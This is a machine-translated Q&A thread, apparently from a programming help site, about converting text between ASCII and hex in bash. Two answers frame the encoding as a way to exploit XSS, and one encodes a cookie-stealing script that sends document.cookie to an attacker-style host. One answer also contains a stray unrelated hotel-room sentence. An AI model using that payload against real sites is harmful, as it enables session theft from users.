Подтвердить что ты не робот

Преобразование Ascii/Hex в bash

Теперь я делаю так:

[[email protected]~]# echo Aa|hexdump -v
0000000 6141 000a                              
0000003
[[email protected]~]# echo -e "\x41\x41\x41\x41"
AAAA

Но это не совсем так, как я хотел,

шестнадцатеричная форма Aa должна быть 4161, но выход имеет значение 6141 000a, что кажется бессмысленным.

и при выполнении hex в ascii есть другая утилита, так что мне не нужен префикс \x?

4b9b3361

Ответ 1

Причина в том, что по умолчанию hexdump выводит 16-битные целые числа, а не байты. Если ваша система имеет их, hd (или hexdump -C) или xxd будет предоставлять менее удивительные выходы - если нет, od -t x1 является стандартным способом POSIX для получения байтового байтового вывода. Вы можете использовать od -t x1c для отображения шестнадцатеричных значений байта и соответствующих букв.

Если у вас есть xxd (который поставляется вместе с vim), вы можете использовать xxd -r для преобразования обратно из шестнадцатеричного (из того же формата xxd производит). Если у вас просто простой гекс (только "4161", который создается xxd -p), вы можете использовать xxd -r -p для преобразования назад.

Ответ 2

Для первой части попробуйте

echo Aa | od -t x1

Он печатает побайтовый

$ echo Aa | od -t x1
0000000 41 61 0a
0000003

0a - это неявная строка новой строки, которая генерирует эхо.

Используйте echo -n или printf вместо этого.

$ printf Aa | od -t x1
0000000 41 61
0000002

Ответ 3

$> printf "%x%x\n" "'A" "'a"
4161

Ответ 4

Для однострочного решения:

echo "Hello World" | xxd -ps -c 200 | tr -d '\n'

Он напечатает:

48656c6c6f20576f726c640a

или для файлов:

cat /path/to/file | xxd -ps -c 200 | tr -d '\n'

Для обратной работы:

echo '48656c6c6f20576f726c640a' | xxd -ps -r

Он напечатает:

Hello World

Ответ 5

Я не знаю, как это выглядит сумасшедшим, но это действительно хорошо работает

ascii2hex(){ a="[email protected]";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//;}

Создал это, когда я пытался увидеть свое имя в HEX;) используйте, как вы можете его использовать:)

Ответ 6

С bash:

a=abcdefghij    
for ((i=0;i<${#a};i++));do printf %02X \'${a:$i:1};done

6162636465666768696A

Ответ 7

здесь немного script Я написал для преобразования ascii в hex. надеюсь, что это поможет:

echo '0x'"`echo 'ASCII INPUT GOES HERE' | hexdump -vC |  awk 'BEGIN {IFS="\t"} {$1=""; print }' | awk '{sub(/\|.*/,"")}1'  | tr -d '\n' | tr -d ' '`" | rev | cut -c 3- | rev

Ответ 8

Text2Conv="Aa"
for letter in $(echo "$Text2Conv" | sed "s/\(.\)/'\1 /g");do printf '%x' "$letter";done

4161

Трюк использует sed для синтаксического анализа Text2Conv для форматирования, который мы можем разделить на цикл anf, используя для.

Ответ 9

Ответ SteinAir выше был полезен для меня - спасибо! И ниже это способ, которым он вдохновил, преобразовать шестнадцатеричные строки в ascii:

for h in $(echo "4161" | sed "s/\(..\)/\1 /g"); do printf `echo "\x$h"`;done
Aa

Ответ 10

echo -n Aa | hexdump -e '/1 "%02x"'; echo

Ответ 11

в соответствии с http://mylinuxbook.com/hexdump/ вы можете использовать параметр формата hexdump

echo Aa | hexdump -C -e '/1 "%02X"'

вернет 4161

чтобы добавить дополнительный фид в конце, добавьте другой форматтер.

НО: формат, приведенный выше, даст выходы мультипликатора для повторяющихся символов

$ printf "Hello" | hexdump -e '/1 "%02X"' 
48656C*
6F

вместо

48656c6c6f

Ответ 12

Si buscas un reemplazo para explotar un XSS, usa esto:

printf "palabra" | hexdump -e '/1 "% 02X"' | sed s/''/%/g;

Производить:

% 70% 61% 6C% 61% 62% 72% 61

Люкс с кроватью размера "king-size" и дополнительной кроватью.

Ответ 13

printf "window.location = ' http://www.atacante.com/cookies.php?cookie= ' +document.cookie;" | hexdump -ve '/1 "% 02X"' | sed s/''/%/г;

% 3C% 73% 63% 72% 69% 70% 74% 3E% 77% 69% 6E% 64% 6F% 77% 2E% 6C% 6F% 63% 61% 74% 69% 6F% 6E% 3D% 27 % 68% 74% 74% 70% 3A% 2F% 2F% 77% 77% 77% 2E% 61% 74% 61% 63% 61% 6E% 74% 65% 2E% 63% 6F% 6D% 2F% 63 % 6F% 6F% 6B% 69% 65% 73% 2E% 70% 68% 70% 3F% 63% 6F% 6F% 6B% 69% 65% 3D% 27% 2B% 64% 6F% 63% 75% 6D % 65% 6E% 74% 2E% 63% 6F% 6F% 6B% 69% 65% 3B% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

Ответ 14

Я использую:

> echo Aa | tr -d '\n' | xxd -p
4161

> echo 414161 | tr -d '\n' | xxd -r -p
AAa

tr -d '\n' обрежет любые возможные новые строки в вашем вводе

Ответ 15

Наконец-то получил правильную вещь

echo "Hello, world!" | tr -d '\n' | xxd -ps -c 200

Ответ 16

echo добавляет возврат каретки в конец.

Использование

echo -e

чтобы удалить дополнительный 0x0A

Кроме того, hexdump по умолчанию не работает byte-by-byte. Вот почему он показывает вам байты в странной endianess и почему он показывает вам дополнительный 0x00.

Ответ 17

[email protected]:~$ echo -n The quick brown fox jumps over the lazy dog | python -c "print raw_input().encode('hex'),"
54686520717569636b2062726f776e20666f78206a756d7073206f76657220746865206c617a7920646f67
[email protected]:~$ echo -n The quick brown fox jumps over the lazy dog | python -c "print raw_input().encode('hex')," | python -c "print raw_input().decode('hex'),"
The quick brown fox jumps over the lazy dog

это можно сделать и с Python3, но по-другому, и я ленивая собака.

Ответ 18

Собирался писать это как комментарий к @Coombs ', но боялся, что это не подойдет, а форматирование в комментариях не будет работать так хорошо.

Re:

for h in $(echo "4161" | sed "s/\(..\)/\1 /g"); do printf `echo "\x$h"`;done

Nice для ASCII, но я считаю, что стандартом для большинства дистрибутивов в наши дни является UTF-8 (и был во многих случаях до 2011 года). Практически ни один из вышеперечисленных "не подходит" с входом UTF-8. Пример: с использованием юникода "звезда" (U + 2605) приведенный выше код выдает:

> LC_ALL=en_US.UTF-8        ## making this explicit for this example
> star="★"
> hex () {
  if ((!$#)); then return; fi
  for ((i=0;i<${#1};i++));do printf %02X \'${$1:$i:1};done
}
> hex "$star"
2605

Если вы хотите, чтобы гексабайтные байты UTF-8 составляли звезду, вам нужно сначала установить локаль. Как в:

> LC_ALL=C hex "$star"
E29885

Если у вас смешанный выход (например, латинский нижний регистр "a" ), звезда (U + 2605 = '★') и "Математический Sans-serif small A" (U + 1D5BA = '𝖺'), и вам нужны значения символов, тогда вам нужно закодировать вывод на основе символьного значения. Те, что ниже 0x7f, могут быть напечатаны как hex (\ x7f в bash), но те, которые ниже ~ 64K, нуждаются в \u2605 (для начала), а остальные выше 64K нуждаются в \U {8 шестнадцатеричных цифрах} или \U0001D5BA для Math-A или что-то вроде:

> star='★' math_a='𝖺'
> locale_hex "a$star$math_a"
\X61\u2605\U0001D5BA

Но это будет технически "не по теме" для первоначального вопроса, но все равно что-то нужно знать и учитывать. Проводя решение, которое генерирует этот вывод, будет "слишком большим OT-текстом" для моего удобства (надеюсь, этот Caveat не считается слишком расходящимся с исходным вопросом), поскольку у меня были похожие "ord", "hex" (и "chr" '), которые дали мне то, что сработало для ascii, которое серьезно запуталось, когда в микс были добавлены значения по умолчанию UTF-8.

В то время как вышеприведенные ответы подходят только для систем ascii, в наши дни они становятся редкими зверями, тем более, что кодировка символов по умолчанию для HTML5 = UTF-8.